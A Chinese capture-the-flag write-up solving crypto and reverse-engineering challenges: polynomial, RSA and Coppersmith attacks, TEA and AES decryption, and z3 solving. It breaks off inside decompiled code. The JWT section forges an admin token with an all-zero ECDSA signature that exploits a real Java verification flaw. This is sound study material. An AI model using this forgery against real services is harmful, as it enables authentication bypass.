题目是模二的多项式环,这里就涉及到模二多项式的基本运算,直接采用sagemath就可以直接运算,不用再自己实现了。
#sagemath
from pwn import *
import string
from hashlib import *
p=remote('47.93.52.218',42937)
context.log_level='debug'
alp=string.ascii_letters + string.digits
PR.< x > = PolynomialRing(Zmod(2)) #定义一个模二多项式环
def proof_of_work(end,sha): #sha256爆破
for i in alp:
for ii in alp:
for iii in alp:
for iiii in alp:
if sha256((i+ii+iii+iiii+end).encode()).hexdigest()==sha:
return i+ii+iii+iiii
def get_list(sr): #获取到的字符串转化成对应的多项式
fx=0
for i in range(2,15):
if str(i) in sr:
fx+=x^i
if '1' in sr:
fx+=1
sr=sr.replace('x^','')
if 'x' in sr:
fx+=x
return fx
p.recvuntil('sha256(XXXX+')
end=p.recv(16).decode()
p.recvuntil(') == ')
sha=p.recvuntil('\n')[:-1].decode()
print(end,sha)
xxxx=proof_of_work(end,sha)
print(xxxx)
p.recvuntil('Give me XXXX: ')
p.sendline(xxxx)
for _ in range(40): #需要成功40次
p.recvuntil('r(x) = ')
rx=p.recvuntil('\n')[:-1]
p.recvuntil('a(x) = ')
ax=p.recvuntil('\n')[:-1]
p.recvuntil('c(x) = ')
cx=p.recvuntil('\n')[:-1]
rx=get_list(rx.decode())
ax=get_list(ax.decode())
cx=get_list(cx.decode())
bx=(rx-cx)//ax #得到b(x)
p.recvuntil('> b(x) = ')
p.sendline(str(bx))
p.recvall()
ASR
看起来是个简单的RSA,,
首先考虑低指数攻击+爆破填充没出,但是都是128bit的,比较小。所以直接考虑分解了。
首先开方得到。
然后yafu挂着分解。查看日志文件:
是可以分解出来一个的,然后把这个数除掉继续挂着分解。
然后就得到了。
然后就是一个RSA求解,但是可以发现直接求是e的倍数,也就是说二者不互素,在模下不存在逆元。
我们可以看一下看哪些模数的存在才导致的。然后剔除掉。
根据同余性质:
那么,前提是
然后就正常RSA解密了。
p1 = 260594583349478633632570848336184053653
p2 = 223213222467584072959434495118689164399
p3 = 218566259296037866647273372633238739089
p4 = 225933944608558304529179430753170813347
e=3
from gmpy2 import *
from Crypto.Util.number import *
print(gcd(p1-1,e))#1
print(gcd(p2-1,e))#1
print(gcd(p3-1,e))#3
print(gcd(p4-1,e))#3
phi1=p1*(p1-1)*p2*(p2-1)
d=invert(e,phi1)
n1=p1*p1*p2*p2
c=945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
m1=pow(c,d,n1)
print(long_to_bytes(m1))
#flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}
myJWT
首先理一下思路:
选项1:可以获取token 选项2:获取flag
要求我们输入的token通过选项2的验证即可得到flag。
看token的生成过程:
相当于token就是header+payload+二者的签名,以.连接。
而选项2的验证是:
首先是需要通过ecdsa验签,然后签名内容的payload满足下面三个条件。
很容易想到就是个伪造签名的过程,首先想到的是能不能通过选项1破解出签名私钥。尽管选项1可以获得9组签名,但是没有什么异常,所以感觉行不通。
然后题目说是crypto&misc,就拿题目关键词去谷歌一下。
没说到关键,继续搜索。
这下明白了,意思就是说java的ecdsa没有对签名进行范围校验,如果我们传(0,0)会通过所有ecdsa的验签!
那么我们现在只需要伪造一个token即可,header可以保持不变,payload修改一下,签名是(0,0)
from base64 import *
s1=b'{"typ":"JWT","alg":"myES"}'#header
s2=b'{"iss":"qwb","name":"striving","admin":true,"exp":2659184926311}'#payload
s3=b'\x00'*2 #sign
s=[b64encode(i).decode() for i in [s1,s2,s3]]
print('.'.join(s)) #token
Factor
一个paper题,不过其实并不难,之前就遇到过这个paper了,所以也是直接就找到了,题目里三层分别是paper里的三种攻击方式,争对型的RSA问题。直接实现,具体原理就不解释了。
对N1/N2进行连分数展开,可以得到q1/q2,然后就实现了分解。这里使用的是ContinuedFractions库
n11=801049932940568005269978912396585741498810389425615966036828877784238116634177290247194019425111606811005728521368879065336038221361037062407029836155148874719789714345603547779284558101833801155509762818376470874215789574939002212274399950433269775325144015468620263028557804618774240232988157961712628677901130814703917513004114547234375629747176834581166306552311075522669403347828095831520693563291249869832390698646691647204371133362254846234990175138047928703289833460734235302093916147489509206061923877623300596194317059884824322527532662470348274079800781120104946546063500763852622187404608639542858285661288293918912184354236687975919510300221932074135531028314170475917110204254042336116619335841213418990605590620842511615815443114612333881430920769002933370887494558640833005339906706603497809846863863967391543647049224309556936909768179259581851520214669904560467640473144481633920438487615788689262961741053146610554997224861331949716721056553499531186695425439163222802917813140266513735841447717418846360096652592844940362932171019143434080184728093326143821165097895058935372215708948088248596585127475770021962501262915274497478428868130455122612016408381607561200802267038869516896665387576895570245272035575637
n12=635401970340205725139325006504978344512744926958688031423448003992072769931808217486709574151492230879374574313457662436423263437792389711379687512056391117410807565492548718691166183372633151644917135272259770997096195518489056319350258673723095417922153182423913759272893696867426193704479752772511081457729513843682588951499551132432923147997238597538055902932123792252593514225328196541483451747314048080824405530742533473914329294346486691684904100406972073037050089861816604505650042953778360621934380815999541183067585498606053857125775979915077329566722531830089714823979965934190338538564188253271016367299890015449611141166780048763403252309160517164569110740561584100839212138661881615351382946813818078899882595313362934594951895560189003438775450675343590147821186953526262224973333962454561275321925151619178204499342339749637758100126893330994252902926509705617882239610380420830791088907378397226817514095468815228186716220057075095711894070032344613244803934541318573847029365563159918970404057137270884587905766828750387753130065274147902379993224780149663600462492281891320702134153853359393588902750423972068679293373333869389393970353760507436913233657422185531482023237384247535554666481760197851108297145147371
e11=1898839980562048754607069073527844852132536432440793106124181406514770178066775988232362054809850074774981836898118651469424148725970708199461113088705044905633592578936333918328544505910996746428679299419879472444790941363558025887620570856598548320246426354974395765243741646121743413447132297230365355148066914830856904433750379114692122900723772114991199979638987571559860550883470977246459523068862898859694461427148626628283198896659337135438506574799585378178678790308410266713256003479022699264568844505977513537013529212961573269494683740987283682608189406719573301573662696753903050991812884192192569737274321828986847640839813424701894578472933385727757445011291134961124822612239865
e12=1262647419018930022617189608995712260095623047273893811529510754596636390255564988827821761126917976430978175522450277907063247981106405519094560616378241247111698915199999363948015703788616554657275147338766805289909261129165025156078136718573006479030827585347458143645738353716189131209398056741864848486818076440355778886993462012533397208330925057305502653219173629466948635110352752162442552541812665607516753186595817376029707777599029040724727499952161261179707271814405907165207904499722122779096230563548011491932378429654764486855147873135769116637484240454596231092684424572258119768093562747249251518965380465994055049411715353547147466711949391814550591591830515262296556050946881
c11=18979511327426975645936984732782737165217332092805655747550406443960209507493506811471688957217003792679188427155591583024966608843371190136274378868083075515877811693937328204553788450031542610082653080302874606750443090466407543829279067099563572849101374714795279414177737277837595409805721290786607138569322435729584574023597293220443351227559400618351504654781318871214405850541820427562291662456382362148698864044961814456827646881685994720468255382299912036854657082505810206237294593538092338544641919051145900715456411365065867357857347860000894624247098719102875782712030938806816332901861114078070638796157513248160442185781635520426230183818695937457557248160135402734489627723104008584934936245208116232179751448263136309595931691285743580695792601141363221346329077184688857290503770641398917586422369221744736905117499140140651493031622040723274355292502182795605723573863581253354922291984335841915632076694172921289489383700174864888664946302588049384130628381766560976143458735712162489811693014419190718601945154153130272620025118408017441490090252674737105557818759190934585829634273698371996797545908125156282869589331913665938038870431655063063535672001112420959158339261862052308986374193671007982914711432579
c12=336587005671304527566745948355290412636261748969581976214239578621816863343117433524033533838636941679300497270909696775021031004312477997130741361709262822736904340641138652359632950455651920464042448022467664596484055174270895170499076347333381222768518599018520948098943626229061996126260154604038101543546588917619576702866444998578555907070990331574722135141778182631559802154493815687284077524469331290249057291163803290619701104007028836609832847351748020354798788508790258935718399783002069490123663345156902440501507117289747695510266461539019431610123351176227443612317037899257774045751487135646052309277098939919088029284437221840182769808850184827681307611389353392683707516141736067793897378911235819049432542758429901945202632117089595899280390575706266239252841152490534353760118231918190110043319877744119083811214707593122757409240645257409097436061825613686773916466122693168971062418046703969144004779270391320645495586024342668002497155358623795942692477164489475917351003149045087283510728981096449890130735055015075557614253867698702479920619299919816768972581273507837309179450374634916567083251630203067065663910073926990517108921490442919372774170201239734064819301693527366233007925670043499415100789027665
import ContinuedFractions
frac = ContinuedFractions.rational_to_contfrac(n11, n12)
convergents = ContinuedFractions.convergents_from_contfrac(frac) #连分数展开
from gmpy2 import *
for q1,q2 in convergents:
try:
if n11 % q1 == 0 and n12 % q2 == 0:
r=2
p1=iroot(n11//q1,2)[0]
p2=iroot(n12//q2,2)[0]
phi1 = (p1 ** (r - 1)) * (p1 - 1) * (q1 - 1)
phi2 = (p2 ** (r - 1)) * (p2 - 1) * (q2 - 1)
d1=invert(e11,phi1)
d2=invert(e12,phi2)
m1=pow(c11,d1,n11)
m2=pow(c12,d2,n12)
print(m1,m2) #得到m1,m2
break
except:
pass
然后进行第二步求出b:
from gmpy2 import *
m1=167033559384298522723574512241709447697750495062051373339874928117760768631565225663704494711294488556402223152830158600944819657473430506318731286655519728589208977191031849602792050411662024383502548579402516538753112670329781366297260905517214408459895097308286783418547254449419676568096534767340832822470233461516097690657337287889405321592527860524201824371955082411119548743528220794151774190322092515459637969925138496615421690273925560390321721643556915400569894100488394008220811596560968566833296068500476868375996187754631888256419438775013308064639754700359028260289266420692324376220460340153811660590804281527733243177527178698523018103373311259548716062006020121615186595491453534952848570829485638553678760994354019044715078062414748269425818079274218450448217803229617020494546843594180682307375768323235309661628678546003718924902228908888185484412626429441196588985691713767554591991735686919964937441820738008046218954331990752603146125777571183543616375946363623251491371247594696767767918341279655251868517380267258878990871525012299220182939441091806206624720194246691865367941280852353547267930167542329486261552854451001546455904682702366584763940463481732752992487773878685793275652314513014646439770319249
m2=69076592619651589706691933313826601279528159013379300261609967352748175972662567592943146333144902972780621576811778115958019397062270814057821407036352529372113467206560849267275602453288227390740346959857322649956992529510338912182696854496200041245775322561359546062736323363354733510660780489558215103581313753430117471361013972291126160134685745917715386613876414886325025010348396410346222272648657374977901786530969589123771261040601627906959627351426881111464943086191212001374558078570830214670111422731410682212770683631011038163623234630601007231955235905528750031898751733232446644402069580930596404887288935724879795199659228145390574503341087565153744389617539607111733080406125228559950446336384154674927952991964565965760896308198785777527690939982523416579778957846249005801121682470447753074839399698315364445972142571727376297422736232659133510385808957304351692629177239808890209690661982628408419571131470406142532800330250274534615063537773403062635865734585850821677880659194795963303700015814615804751909674946908768425855361277478190640780518117596780808975720826484146074528564147729911624750510271539697935538038871993380673492022099183863825435237650082706168588306816635866830411481021066926833372846305
n2=209798341155088334158217087474227805455138848036904381404809759100627849272231840321985747935471287990313456209656625928356468120896887536235496490078123448217785939608443507649096688546074968476040552137270080120417769906047001451239544719039212180059396791491281787790213953488743488306241516010351179070869410418232801398578982244984544906579574766534671056023774009163991804748763929626213884208260660722705479782932001102089367261720194650874553305179520889083170973755913964440175393646890791491057655226024046525748177999422035469428780228224800114202385209306803288475439775037067014297973202621118959024226798935588827359265962780792266516120013602384766460619793738405476219362508944225007365127768741191310079985425349292613888185378948854602285379329682053663283534930182589905986063348509703027498270111412063194971956202729807710253369312175636837558252924035002153389909587349043986253518050303628071319876207392440085675892353421232158925122721273720564784886530611286461575045181073744696415657043278123662980166364494583141297996445429477446442693717498789391918530672770193730629928408766563592081857706608049076318165712479742423149330311238462044666384622153280310696667586565906758451118241914402257039981388209
e2=65537
c2=18352572608055902550350386950073774530453857897248738030380007830701135570310622004368605208336922266513238134127496822199799761713782366178177809597137102612444147565578155260524747439899150012223027218489946124086276814899675563837669559795153349686434242738207425653079514376089070980797596457151965772460109519623572502109592612394316680202287712465721767341302234806130244551387296133051760893033194962691942040228545508895009195291106297581470066545991352668826197346830561010198417527057944507902143965634058848276017283478933675052993657822322866778994956205033704582047618324071045349072526540250707463112668579342537349567247810715604220690215313641329522674080146047291570752430231923566302463491877377617044768978997438596643458475128936850994934029476030136643053997549253792076260765459166618369864942681056864815996253315631930002738854235841120321870075261782250357506436825550088826469396508045912258303652912217151127280959435741419961721418428605515096160344688795655562889755165362006775317188009008288782691705879510655892181975003485714604340542378477388225736316682379616676770234557939471098919647053799313777248678455620231721202780830980063824003076308811540534492317719811588898727134190545533822501681653
r=7
PR = PolynomialRing(Zmod(n2),name='x')
x=PR.gen()
fx=m1*m2*x-(m1-m2)
fx=fx.monic()
xx=int(fx.small_roots(X=2^690,beta=0.7,epsilon=0.4)[0])
pp6=gcd(m1*m2*xx-(m1-m2),n2)
A=iroot(pp6,6)
assert A[1]
p=A[0]
q=n2//(pp6*p)
phi = (p**(r-1))*(p-1)*(q-1)
d=invert(e2,phi)
print(pow(c2,d,n2))
最后第三步:
首先,先求出。然后:
感觉他这儿写的有的误导。实际上:
那么直接就是
所以说还是一元copper。
from gmpy2 import *
n3=539779851369541956878655738599584730199799866957191805784596190682932284216781781433367450841202917758999300635019369629627621029957135109806205877317954671312041249493462048283611940752235036153024920172209763260723728345918562258401803973624430150143563078517485996070862532682695228590709019451174548520135142052216785774589096706631010293690859363524584240662502290912412366366114571976050857239915691266377257797199583543940504695517331512813468837128344612227973709974625418257243011036826241599265375741977853552204640800449679679351666009764297016524814036295707311913711955324055690490892097177271718850857268982130811714517356073266905474635370690445031512184247179039751734276906533177939993769044135143389748416635981226449566039039202521305851567296884751935162651063209779647359922622084851547605090230221057349511482738300221222563908357379545905837110168948295030747460300104202323692732549831403834387939156877086852393515817984772384147449841124275061609701453997579569931391166586163299940486204581696722731952467570857217406030804590055255431828403195798003509083922294733709507134156466158642941338493323430671502043066148246348074878064089651235355282144209668143249348243220714471988019011613749340243917652821
e3=8179300978753084587812861894047395225516049110376948812109811319430275614612773726672345893359691900281432484382670047044697374818043512731533402576374645405477207239801498428774783768163880078495448747421425078521981578408638790336528372019271073712013371141939808017049399434858687299480461753638164719404612128939787055797762174745092074547412183349192156638711750872083313795551439465507724807626674514935170104573715458782366469587138508845980490673890245713729782917089910271980557159592807350504157192913530007199510144004848020221181558472160543018733124225266127379373751910439604459368078652499029070936707349862139053913745186413782066470461478961703013591655136140060879250067379283913798867648758171004535775565306842444545755351202796833177560656564652632975685912935281581268141803696686952259539945588609591385807620108279333498170028167338690235117003515264281843953984997958878272347778561933726792473981855755454522886321669676790813189668084373153897754540290867346751033567500922477317530445967753955221454744946208555394588111484610700789566547507402309549957740815535069057837915204852490930168843605732632328017129154852857227895362549146737618906180651623216848500491438142456250653458053922622240299736136335179639180898730269690699965799644757774472147210271111150769048976871249731156387939260749192370361488285775377622944817570292095201906142567403539151179209316853493906909989301225903409448461436855145
b=17623328397444755087284107444487160871617682792372566887446834913712379373851213638071138745775127796589871734472781755930251379295485892067473329763997583502625804363418069062645997342172778252731889437
c3=113097822337683973761068913398570777162211043704088253732500045618770280334319497174908657828372816818344430304314992760410247741225285170975119344962728883084314382093407445567724674775086423808679124143380073906159023182353116556175251427048715466914368972746661938211846262612414049036821553068430149530397389927209475908905748728402722287875974303298260579839357610962198145974153609818939841880084892796820949226354126424023144300953584658958900737493704530725894948802258740332090822797815745616247879170037794873059391625680745994045522420168248552864215035136318711240256011217929372430302003068882829637056296413462078222453765071094277727760527662423010417144554652783429899139309180017349156600053882338180319473460877576898373222480215735280046214925463242092830060830764299787309912687294672319845054775281463150375545716818434962456139485501224661520991156961587158843064393883274763714930309353593180897123378717852182761518709151878662808890356934477932099818218743384674756674800089177733447066489275506387382342429495897972218764782517198727316942685748481956118012927027254979181519862451112593068440686462293151078537886822555211870303467014484443432209106264020502334805536091587252238173816637270028678636848763
r=7
ex=e3//b
PR = PolynomialRing(Zmod(n3),name='x')
x=PR.gen()
fx=ex*x-1
fx=fx.monic()
xx=int(fx.small_roots(X=2^690,beta=0.7,epsilon=0.4)[0])
pp6=gcd(ex*xx-1,n3)
A=iroot(pp6,6)
assert A[1]
p=A[0]
q=n3//(pp6*p)
phi = (p**(r-1))*(p-1)*(q-1)
d=invert(e3,phi)
print(pow(c3,d,n3))
Re
easyapk
是一个APK,java层没啥就直接调用了natvie层进行check而已,
解包出so文件,ida反编译。
进到check函数发现代码膨胀了都是没有用的代码,
v22 = strlen(v16);
*v21 = v22;
tea(*(_DWORD *)v15, v22);
v23 = v20;
v24 = (unsigned int)&v36[-786854828];
if ( v20 )
v4 = (unsigned int)v36;
else
v24 = (unsigned int)&STACK[0x3756038];
v25 = __PAIR64__(-1 - (unsigned int)!__CFADD__(v4 | ~v24, v24 | ~v4), (v4 | ~v24) + (v24 | ~v4))
+ __PAIR64__((v24 | v4) >> 31, 2 * (v24 | v4));
v26 = (v25 + 2) ^ (v24 + v4) | ((v25 + 2) >> 32) ^ ((v24 + (unsigned __int64)v4) >> 32);
v27 = &v36[-844878776];
if ( !v20 )
v27 = (char *)&v42;
v28 = (unsigned int *)&v36[-58023948];
if ( !v23 )
v28 = &STACK[0x2EE673D8];
if ( !v26 )
v28 = (unsigned int *)v27;
v29 = *(void **)v15;
*v28 = memcmp(&enc, *(const void **)v15, *v21);
再最后那里发现就是输入然后经过函数一个函数进行cmp
然后那个函数也再最后部分看到了tea的特征。但是detalt,key没有明确给出,都是经过一些运算得到的。然后我想到,都是膨胀得到的代码,最后应该会消掉得到的肯定是常量。所以我写了个c文件生成了出来。
#include<stdio.h>
int main()
{
int k1,k2,k3,k4,v15,v16,v17,v18,v148,v152,sum;;
v15 = time(0);
k1 = ((v15 & 0x20000000) - (v15 & 0xD0000000) + 2 * (v15 & 0x50000000) + 705251522) ^ 0xB93B79F2;
v16 = time(0);
k2= ((v16 & 0x10000000) - (v16 & 0xE0000000) + 2 * (v16 & 0x60000000) + 268614163) ^ 0x47348F27;
v17 = time(0);
k3 = ((v17 & 0x50000000) - (v17 & 0xA0000000) + 2 * (v17 & 0x20000000) + 1598838216) ^ 0xDD2D6CF0;
v18 = time(0);
k4 = (((v18 & 0x40000000) - (v18 & 0xB0000000) + 2 * (v18 & 0x30000000) + 1085702636) ^ 0x30240060 | 0x99A9B9D)
+ 2 * (((v18 & 0x40000000) - (v18 & 0xB0000000) + 2 * (v18 & 0x30000000) + 1085702636) ^ 0x46D3E58F);
v148 = time(0);
v152 = (v148 & 0x30000000) - (v148 & 0xC0000000) + 2 * (v148 & 0x40000000) + 0x35970C13;
sum = (v152 ^ 0xF4170810 | 0x1C88647) + 2 * (v152 ^ 0xBA075AA);
printf("%x %x %x %x %x ",k1,k2,k3,k4,sum);
return 0;
}
最后验证发现
sum1=2
sum=0x9e3779b9
print(hex(2 * (sum1 | sum) - (sum ^sum1)))
#0x9e3779bb
tea代码的那段操作就只是个加法,最后整理一下就是正常的tea,提取出前面的比对密文
直接套祖传脚本
#include <stdio.h>
#include <stdint.h>
//加密函数
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up */
uint32_t delta = 0x9e3779b9; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
} /* end cycle */
v[0] = v0; v[1] = v1;
}
//解密函数
void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0x9e3779b9<<5, i; /* set up */
uint32_t delta = 0x9e3779b9; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= 0x9e3779b9;
} /* end cycle */
v[0] = v0; v[1] = v1;
}
int main()
{
uint32_t v[8] = { 0x5D94AA84, 0x14FA24A0, 0x2B560210, 0xB69BDD49, 0xAAEFEAD4, 0x4B8CF4C6, 0x097FB8C9, 0xB5EC51D2 };
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
//printf("加密前原始数据:%u %u\n", v[0], v[1]);
uint32_t k[4] = { 0x33323130,0x37363534,0x62613938,0x66656463 };
for(int i = 0; i < 8;i+=2 )
{
uint32_t vv[2] = { v[i],v[i + 1] };
decrypt(vv, k);
puts((char*)vv);
}
return 0;
}
synt{Vg_烫烫烫烫
Vf_A0g_g烫烫烫烫
uNg_zHpu烫烫烫烫
_unEqre}烫烫烫烫
synt{Vg_Vf_A0g_guNg_zHpu_unEqre}
synt立马想到rot13了,
拿去在线解密,直接得到flag
flag{It_Is_N0t_thAt_mUch_haRder}
deeprev
谷歌ctf2022差不多的原题。能找到很多人的wp,然后在找到一个人写的博客而且有完整脚本,但是要装3.10的python,差点把本地搞崩,最后无奈装了个虚拟机来装。
然后就是要改一下,获取的flag地址
同时readelf -r 解析出来万行,但是我们只需要到1267行附件的 relocs
#代码过长不宜展示,详细可以点击原文下载PDF文档
解析出来的
\PycharmProjects\qiangwang\venv\Scripts\python.exe
C:/Users/bubu/PycharmProjects/qiangwang/lifter.py
[*] Loading relocations...
[*] Parsing...
[*] lift_mov_add...
[*] remove_sizes...
[*] lift_indirect...
[*] lift_block...
[*] lift_reset...
[*] lift_shuffle_block...
[*] lift_output...
[*] lift_multadd...
[*] lift_truncate...
[*] lift_array_slots...
[*] lift_shellcode...
[*] lift_aop...
REL(dst=baseaddr(), val=0, ridx=3)
REL(dst=baseaddr(), val=0, ridx=4)
[0005] :: mov s2, &flag[0]
[0007] :: mov(1) s4, s2
[0008] :: [ARRAY SLOT]
[0009] :: mov arr[15], &1585408084625667200
[0010] :: mov arr[16], &195
[0011] :: mov s3, &arr[15]
[0012] :: setinfo s3, name=0x1a, info=0x1, other=0x0, shndx=0x0
[0013] :: add arr[15], s3, 0
[0014] :: mov s2, &r101002.r_address
[0016] :: mov(24) arr[15], s2
[0017] :: [ARRAY SLOT]
[0018] :: mov arr[42], &141015791240320
[0019] :: mov arr[43], &195
[0020] :: mov s3, &arr[42]
…………………………
#输出过长不宜展示,详细可以点击原文下载PDF文档
…………………………
[1239] :: mov s2, &s9
[1240] :: add s10, s8, s2
[1243] :: exec r1243.r_address <- 8034255c418000e5c3000000000000000000000000000000
--------------------
0x0: xor byte ptr [0x80415c], 0xe5
--------------------
[1252] :: mov s2, &s10
[1254] :: add s5, s5, s2
[1257] :: mov s6, &0
[1258] :: mov s7, &0
[1259] :: mov s8, &0
[1260] :: mov s9, &0
[1261] :: mov s10, &0
[1262] :: mov s2, &s5
[1264] :: mov(1) 4210788, s2
[1265] :: [ARRAY SLOT]
[1266] :: [ARRAY SLOT]
Process finished with exit code 0
观察输出的字节码,发现存在两次异或,且是前27个flag进行异或。且最后几个flag是几个联合处理,估计是防止测信道?把这俩组字节码提取出来。发现第一部分少了点东西?
k1 = [ 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x24, 0x2c, 0x26, 0x1e, 0x1f, 0x20, 0x20, 0x21, 0x23, 0x27, 0x24, 0x25, 0x26, 0x27, ]
k2 = [0x70, 0x7c, 0x73, 0x78, 0x6f, 0x27, 0x2a, 0x2c, 0x7f, 0x35, 0x2d, 0x32, 0x37, 0x3b, 0x22, 0x59, 0x53, 0x8e, 0x3d, 0x2a, 0x59, 0x27, 0x2d, 0x29, 0x34, 0x2d, 0x61, 0x32 ]
发现不对,少了前面四个。但是肯定flag{是前五个。第五个已知。
print(0x10^0x6f^ord('{'))
发现异或出来不是0,是4,又看到这是第5个元素,但是数组从0开始。
所以可能加上了下标或者异或下标,但是中间就两次异或,所以先尝试加法逆推出前4个,然后
尝试用z3约束求解
k1 = [0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x24, 0x2c, 0x26, 0x1e, 0x1f, 0x20, 0x20, 0x21, 0x23, 0x27, 0x24, 0x25, 0x26, 0x27, ]
k2 = [0x70, 0x7c, 0x73, 0x78, 0x6f, 0x27, 0x2a, 0x2c, 0x7f, 0x35, 0x2d, 0x32, 0x37, 0x3b, 0x22, 0x59, 0x53, 0x8e, 0x3d, 0x2a, 0x59, 0x27, 0x2d, 0x29, 0x34, 0x2d, 0x61, 0x32 ]
f='flag'
ap=[]
for i in range(len(f)):
ap.append(((k2[i]-i)^ord(f[i])))
print(ap)
kk1=[22, 23, 16, 18, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x24, 0x2c, 0x26, 0x1e, 0x1f, 0x20, 0x20, 0x21, 0x23, 0x27, 0x24, 0x25, 0x26, 0x27, ]
from z3 import *
s = Solver()
flag = [BitVec(f'flag[{i}]', 8) for i in range(32)]
for i in range(0, 28):
s2 = (((kk1[i]) ^ flag[i]) + i) ^ k2[i]
s.add(s2 == 0)
s2 = (flag[28] + flag[29]) ^ 0x6c
s.add(s2 == 0)
s2 = (flag[28] + flag[28] + flag[29]) ^ 0xa1
s.add(s2 == 0)
s2 = (flag[30] + flag[31]) ^ 0xb1
s.add(s2 == 0)
s2 = (flag[30] + flag[30] + flag[31]) ^ 0xe5
s.add(s2 == 0)
if s.check()==sat:
m = s.model()
print(m)
flag=[0]*32
flag[8] = 99
flag[3] = 103
flag[1] = 108
flag[15] = 102
flag[16] = 101
flag[26] = 97
flag[11] = 48
flag[18] = 52
flag[9] = 57
flag[6] = 54
flag[24] = 56
flag[22] = 52
flag[30] = 52
flag[14] = 48
flag[0] = 102
flag[25] = 49
flag[28] = 53
flag[19] = 55
flag[10] = 53
flag[20] = 101
flag[23] = 53
flag[21] = 51
flag[7] = 54
flag[17] = 99
flag[4] = 123
flag[29] = 55
flag[2] = 97
flag[5] = 51
flag[12] = 51
flag[13] = 55
flag[27] = 48
flag[31] = 125
print(bytes(flag))
#b'flag{366c950370fec47e34581a0574}'
发现能直接sat出flag
所以加密逻辑是
(k1^flag+i)^k2
flag{366c950370fec47e34581a0574}
GameMaster
主要逻辑在exe这个net文件中。同时在ganme的操作中,有很多判断选择,同时找到了提示AchivePoint1 同时下面还有两处。看逻辑,发现就是解密文件,而这文件时在函数开始前写的
FileStream fileStream = File.OpenRead("gamemessage");
int num = (int)fileStream.Length;
Program.memory = new byte[num];
我们直接提取解密
from Crypto.Cipher import AES
key=bytes([66,114,97,105,110,115,116,111,114,109,105,110,103,33,33,33])
f=open('gamemessage','rb')
stream=f.read()
enc=[]
for i in stream:
enc.append(i^34)
ae=AES.new(key,AES.MODE_ECB)
m=ae.decrypt(bytes(enc))
f.close()
ff=open('flag','wb')
ff.write(m)
ff.close()
提取出来,发现程序段有问题,ida识别不出来,然后用010打开,发现中间有个MZ文件头,尝试把前面的数据都去掉。
ida成功识别出。net文件。
看了整体逻辑,发现都是运算,但是要先求出x,y,z。
直接用z3求解
from z3 import *
f=[101,5,80,213,163,26,59,38,19,6,173,189,198,166,140,183,42,247,223,24,106,20,145,37,24,7,22,191,110,179,227,5,62,9,13,17,65,22,37,5]
x=BitVec('x',33)
y=BitVec('y',33)
z=BitVec('z',33)
s=Solver()
nums=-1
k=[0]*40
for i in range(320):
x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
if i%8==0:
nums+=1
k[nums]=((k[nums]<<1)|((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1))))&0xff
for i in range(40):
s.add(k[i]==f[i])
if s.check()==sat:
print(s.model())
接下来还有个移位操作,然后异或
s=[60,100,36,86,51,251,167,108,116,245,207,223,40,103,34,62,22,251,227]
z = 3131229747
y = 868387187
x = 156324965
L[0]=x
L[1]=y
L[2]=z
for i in range(3):
for j in range(4):
key[i * 4 + j] = ((L[i] >> j * 8) & 255)
for i in range(len(s)):
print(chr(s[i]^key[i%len(key)]),end='')
#Y0u_@re_G3meM3s7er!
easyre
程序在一开始释放了一个叫re3的文件并且chmod给了0x1ff权限
但是当我们调试起来经过判断ida报错说出现线程问题,那这应该是用fork开了线程。
然后我们把re3文件取出发现很多函数ida都识别失败,用c强制定义出来然后按p重新订一函数。
然后有一段main函数里的函数没能识别出来,而且有int3 然后想到smc,然后再主程序一个分支看到有异或,而且对数值进行判断。有点debugblock的感觉了
然后看他的判断的数据有个0xcc,刚好就是那段不能int3的硬编码
然后在smc的函数进行了取出一个表(这个表可以进行不断的交叉索引进到一个函数,而且这个函数对这个表的字符串进行了切割)的数据进行md5取后16位,然后异或
用idapython
import idautils
from hashlib import md5
map=['820555419','204439052','2023331787','1201749658','2009001459','309493069','994139042','244964220','1752591519', '49674272','654614966','153701618','1413690375','1296770320','869022979','607264832','391671420','1843735205', '959349745','1171212523','1553663100','1780021933','707165593','682689494','1143664716','103763972','79067989', '1334379513','1198796057','402529623','1042963942','983905083','1854610108','152975389','2089964716','812746300',
'471175148','976296130','1037758217']
key=[]
for i in range(len(s)) :
s=md5(map[i].encode()).hexdigest()
key.append(int.from_bytes(bytes.fromhex(s[16:]),'little'))
adr=0x2213
for i in range(len(key)):
k=get_qword(adr+16*i)
patch_qword(adr+16*i,k^key[i])
print('yeak')
然后把int3这两段段垃圾数据都nop掉发现可以正常按p定义函数。
_BYTE *__fastcall sub_21F9(__int64 a1, __int64 a2, __int64 a3)
{
_BYTE *result; // rax
int v4; // [rsp+20h] [rbp-28h]
int v5; // [rsp+24h] [rbp-24h]
char v6; // [rsp+28h] [rbp-20h]
int v7; // [rsp+2Ch] [rbp-1Ch]
int j; // [rsp+30h] [rbp-18h]
